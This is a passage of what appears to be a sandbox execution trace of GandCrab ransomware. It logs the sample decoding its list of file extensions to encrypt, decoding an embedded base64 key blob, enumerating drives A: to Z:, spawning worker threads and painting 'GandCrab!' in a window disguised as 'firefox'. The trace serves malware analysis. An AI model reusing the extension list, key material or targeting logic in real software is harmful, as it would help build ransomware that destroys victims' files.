cWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==", cchString=0x0, dwFlags=0x1, pbBinary=0x2740000, pcbBinary=0x19f83c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2740000, pcbBinary=0x19f83c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0052.479] VirtualAlloc (lpAddress=0x0, dwSize=0x16c6, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000 [0052.479] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x2740000, cbMultiByte=-1, lpWideCharStr=0x2750000, cchWideChar=2915 | out: lpWideCharStr=".1cd, .3dm, .3ds, .3fr, .3g2, .3gp, .3pr, .7z, .7zip, .aac, .ab4, .abd, .acc, .accdb, .accde, .accdr, .accdt, .ach, .acr, .act, .adb, .adp, .ads, .agdl, .ai, .aiff, .ait, .al, .aoi, .apj, .apk, .arw, .ascx, .asf, .asm, .asp, .aspx, .asset, .asx, .atb, .avi, .awg, .back, .backup, .backupdb, .bak, .bank, .bay, .bdb, .bgt, .bik, .bin, .bkp, .blend, .bmp, .bpw, .bsa, .c, .cash, .cdb, .cdf, .cdr, .cdr3, .cdr4, .cdr5, .cdr6, .cdrw, .cdx, .ce1, .ce2, .cer, .cfg, .cfn, .cgm, .cib, .class, .cls, .cmt, .config, .contact, .cpi, .cpp, .cr2, .craw, .crt, .crw, .cry, .cs, .csh, .csl, .css, .csv, .d3dbsp, .dac, .das, .dat, .db, .db_journal, .db3, .dbf, .dbx, .dc2, .dcr, .dcs, .ddd, .ddoc, .ddrw, .dds, .def, .der, .des, .design, .dgc, .dgn, .dit, .djvu, .dng, .doc, .docm, .docx, .dot, .dotm, .dotx, .drf, .drw, .dtd, .dwg, .dxb, .dxf, .dxg, .edb, .eml, .eps, .erbsql, .erf, .exf, .fdb, .ffd, .fff, .fh, .fhd, .fla, .flac, .flb, .flf, .flv, .flvv, .forge, .fpx, .fxg, .gbr, .gho, .gif, .gray, .grey, .groups, .gry, .h, .hbk, .hdd, .hpp, .html, .ibank, .ibd, .ibz, .idx, .iif, .iiq, .incpas, .indd, .info, .info_, .ini, .iwi, .jar, .java, .jnt, .jpe, .jpeg, .jpg, .js, .json, .k2p, .kc2, .kdbx, .kdc, .key, .kpdx, .kwm, .laccdb, .lbf, .lck, .ldf, .lit, .litemod, .litesql, .lock, .log, .ltx, .lua, .m, .m2ts, .m3u, .m4a, .m4p, .m4v, .ma, .mab, .mapimail, .max, .mbx, .md, .mdb, .mdc, .mdf, .mef, .mfw, .mid, .mkv, .mlb, .mmw, .mny, .money, .moneywell, .mos, .mov, .mp3, .mp4, .mpeg, .mpg, .mrw, .msf, .msg, .myd, .nd, .ndd, .ndf, .nef, .nk2, .nop, .nrw, .ns2, .ns3, .ns4, .nsd, .nsf, .nsg, .nsh, .nvram, .nwb, .nx2, .nxl, .nyf, .oab, .obj, .odb, .odc, .odf, .odg, .odm, .odp, .ods, .odt, .ogg, .oil, .omg, .one, .orf, .ost, .otg, .oth, .otp, .ots, .ott, .p12, .p7b, .p7c, .pab, .pages, .pas, .pat, .pbf, .pcd, .pct, .pdb, .pdd, .pdf, .pef, .pem, .pfx, .php, .pif, .pl, .plc, .plus_muhd, .pm!, .pm, .pmi, .pmj, .pml, .pmm, .pmo, .pmr, .pnc, .pnd, .png, .pnx, .pot, .potm, .potx, .ppam, .pps, .ppsm, .ppsx,.ppt, .pptm, .pptx, .prf, .private, .ps, .psafe3, .psd, .pspimage, .pst, .ptx, .pub, .pwm, .py, .qba, .qbb, .qbm, .qbr, .qbw, .qbx, .qby, .qcow, .qcow2, .qed, .qtb, .r3d, .raf, .rar, .rat, .raw, .rdb, .re4, .rm, .rtf, .rvt, .rw2, .rwl, .rwz, .s3db, .safe, .sas7bdat, .sav, .save, .say, .sd0, .sda, .sdb, .sdf, .sh, .sldm, .sldx, .slm, .sql, .sqlite, .sqlite3, .sqlitedb, .sqlite-shm, .sqlite-wal, .sr2, .srb, .srf, .srs, .srt, .srw, .st4, .st5, .st6, .st7, .st8, .stc, .std, .sti, .stl, .stm, .stw, .stx, .svg, .swf, .sxc, .sxd, .sxg, .sxi, .sxm, .sxw, .tax, .tbb, .tbk, .tbn, .tex, .tga, .thm, .tif, .tiff, .tlg, .tlx, .txt, .upk, .usr, .vbox, .vdi, .vhd, .vhdx, .vmdk, .vmsd, .vmx, .vmxf, .vob, .vpd, .vsd, .wab, .wad, .wallet, .war, .wav, .wb2, .wma, .wmf, .wmv, .wpd, .wps, .x11, .x3f, .xis, .xla, .xlam, .xlk, .xlm, .xlr, .xls, .xlsb, .xlsm, .xlsx, .xlt, .xltm, .xltx, .xlw, .xml, .xps, .xxx, .ycbcra, .yuv, .zip") returned 2915 [0052.479] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.480] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned 368 [0052.480] VirtualAlloc (lpAddress=0x0, dwSize=0x171, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000 [0052.480] lstrcpyA (in: lpString1=0x2740000, lpString2="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu" | out: lpString1="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu" [0052.480] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.480] VirtualFree (lpAddress=0x2700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.481] VirtualFree (lpAddress=0x2720000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.481] VirtualFree (lpAddress=0x2710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.481] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0052.481] VirtualFree (lpAddress=0x26f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.481] VirtualFree (lpAddress=0x1ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.481] VirtualFree (lpAddress=0x9a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.481] VirtualFree (lpAddress=0x26d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.482] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned 368 [0052.482] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x3000, flProtect=0x4) returned 0x9a0000 [0052.482] CryptStringToBinaryA (in: pszString="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu", cchString=0x0, dwFlags=0x1, pbBinary=0x9a0000, pcbBinary=0x19fe48, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x9a0000, pcbBinary=0x19fe48, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0052.482] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x1ec0000 [0052.483] GetTickCount () returned 0x1f96e [0052.483] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0052.483] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0052.483] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0052.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x405c85, lpParameter=0x19fb60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0052.484] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0052.484] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0052.484] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0052.484] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0052.484] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0052.484] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0052.484] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0052.484] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0052.484] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0052.484] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0052.484] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0052.484] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0052.484] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0052.485] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0052.485] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0052.485] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0052.485] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0052.485] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0052.485] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0052.485] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0052.485] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0052.485] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0052.485] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0052.485] WaitForMultipleObjects (nCount=0x1, lpHandles=0x19fa60*=0x4bc, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xd14 Thread: id = 3 os_tid = 0x9d4 [0034.881] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0034.881] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0034.882] LoadIconW (hInstance=0x400000, lpIconName=0x7f00) returned 0x0 [0034.882] RegisterClassExW (param_1=0x1ebff34) returned 0xc17c [0034.882] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0034.882] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0034.882] CreateWindowExW (dwExStyle=0x0, lpClassName="win32app", lpWindowName="firefox", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=5, nHeight=5, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x30228 [0035.108] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x24, wParam=0x0, lParam=0x1ebfab4) returned 0x0 [0035.109] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x81, wParam=0x0, lParam=0x1ebfaa8) returned 0x1 [0035.111] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x83, wParam=0x0, lParam=0x1ebfa94) returned 0x0 [0035.198] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x1, wParam=0x0, lParam=0x1ebfaa8) returned 0x0 [0035.199] SetWindowLongW (hWnd=0x30228, nIndex=-16, dwNewLong=0) returned 80674816 [0035.199] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x7c, wParam=0xfffffff0, lParam=0x1ebfecc) returned 0x0 [0035.199] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x7d, wParam=0xfffffff0, lParam=0x1ebfecc) returned 0x0 [0035.202] ShowWindow (hWnd=0x30228, nCmdShow=5) returned 0 [0035.202] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0035.202] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x46, wParam=0x0, lParam=0x1ebfef4) returned 0x0 [0035.212] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x46, wParam=0x0, lParam=0x1ebfef4) returned 0x0 [0035.212] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x1c, wParam=0x1, lParam=0xcb4) returned 0x0 [0035.212] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0035.212] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0xd, wParam=0xff, lParam=0x1ebeb24) returned 0x7 [0035.214] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0035.221] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0035.223] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0035.223] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0035.224] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0035.224] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x14, wParam=0xa0100d0, lParam=0x0) returned 0x1 [0035.224] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x47, wParam=0x0, lParam=0x1ebfef4) returned 0x0 [0035.224] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x5, wParam=0x0, lParam=0x78) returned 0x0 [0035.224] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x3, wParam=0x0, lParam=0x870070) returned 0x0 [0035.224] UpdateWindow (hWnd=0x30228) returned 1 [0035.224] BeginPaint (in: hWnd=0x30228, lpPaint=0x1ebfd08 | out: lpPaint=0x1ebfd08) returned 0xa0100d0 [0035.224] lstrlenW (lpString="GandCrab!") returned 9 [0035.224] TextOutW (hdc=0xa0100d0, x=5, y=5, lpString="GandCrab!", c=9) returned 1 [0035.224] EndPaint (hWnd=0x30228, lpPaint=0x1ebfd08) returned 1 [0035.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402d41, lpParameter=0x30228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4 [0035.225] CloseHandle (hObject=0x1b4) returned 1 [0035.225] GetMessageW (in: lpMsg=0x1ebff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1ebff64) returned 1 [0035.225] TranslateMessage (lpMsg=0x1ebff64) returned 0 [0035.225] DispatchMessageW (lpMsg=0x1ebff64) returned 0x0 [0035.225] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0035.225] GetMessageW (in: lpMsg=0x1ebff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1ebff64) returned 1 [0035.225] TranslateMessage (lpMsg=0x1ebff64) returned 0 [0035.225] DispatchMessageW (lpMsg=0x1ebff64) returned 0x0 [0035.225] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x46, wParam=0x0, lParam=0x1ebfd34) returned 0x0 [0035.225] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x83, wParam=0x1, lParam=0x1ebfd0c) returned 0x0 [0035.226] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0035.226] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x14, wParam=0x501075c, lParam=0x0) returned 0x1 [0035.226] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x47, wParam=0x0, lParam=0x1ebfd34) returned 0x0 [0035.226] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x31f, wParam=0x0, lParam=0x0) returned 0x0 [0035.226] GetMessageW (in: lpMsg=0x1ebff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1ebff64) returned 1 [0035.226] TranslateMessage (lpMsg=0x1ebff64) returned 0 [0035.226] DispatchMessageW (lpMsg=0x1ebff64) returned 0x0 [0035.226] BeginPaint (in: hWnd=0x30228, lpPaint=0x1ebfcb8 | out: lpPaint=0x1ebfcb8) returned 0x501075c [0035.226] lstrlenW (lpString="GandCrab!") returned 9 [0035.226] TextOutW (hdc=0x501075c, x=5, y=5, lpString="GandCrab!", c=9) returned 1 [0035.226] EndPaint (hWnd=0x30228, lpPaint=0x1ebfcb8) returned 1 [0035.226] GetMessageW (lpMsg=0x1ebff64, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0035.238] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x7f, wParam=0x1, lParam=0x60) returned 0x0 [0035.238] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x7f, wParam=0x2, lParam=0x60) returned 0x0 [0035.238] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x7f, wParam=0x0, lParam=0x60) returned 0x0 [0035.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b8 [0035.246] DestroyWindow (hWnd=0x30228) returned 1 [0035.246] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.246] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x46, wParam=0x0, lParam=0x1ebfcb4) returned 0x0 [0035.247] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x47, wParam=0x0, lParam=0x1ebfcb4) returned 0x0 [0035.250] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0035.250] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0035.250] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x1c, wParam=0x0, lParam=0xcb4) returned 0x0 [0035.250] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0035.250] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0035.250] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0035.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc [0035.251] DestroyWindow (hWnd=0x30228) returned 1 [0035.251] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0 [0035.251] DestroyWindow (hWnd=0x30228) returned 1 [0035.251] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c4 [0035.252] DestroyWindow (hWnd=0x30228) returned 1 [0035.252] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8 [0035.252] DestroyWindow (hWnd=0x30228) returned 1 [0035.252] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc [0035.253] DestroyWindow (hWnd=0x30228) returned 1 [0035.253] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0 [0035.253] DestroyWindow (hWnd=0x30228) returned 1 [0035.254] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4 [0035.254] DestroyWindow (hWnd=0x30228) returned 1 [0035.254] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8 [0035.255] DestroyWindow (hWnd=0x30228) returned 1 [0035.255] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc [0035.256] DestroyWindow (hWnd=0x30228) returned 1 [0035.256] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.256] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0 [0035.256] DestroyWindow (hWnd=0x30228) returned 1 [0035.256] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4 [0035.257] DestroyWindow (hWnd=0x30228) returned 1 [0035.257] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8 [0035.258] DestroyWindow (hWnd=0x30228) returned 1 [0035.258] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec [0035.259] DestroyWindow (hWnd=0x30228) returned 1 [0035.259] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.259] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f0 [0035.259] DestroyWindow (hWnd=0x30228) returned 1 [0035.260] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f4 [0035.260] DestroyWindow (hWnd=0x30228) returned 1 [0035.260] NtdllDefWindowProc_W (hWnd=0x30228, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0035.261] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x402b2c, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8 [0035.261] DestroyWindow (hWnd=0x30228) returned 1 [0035.261] 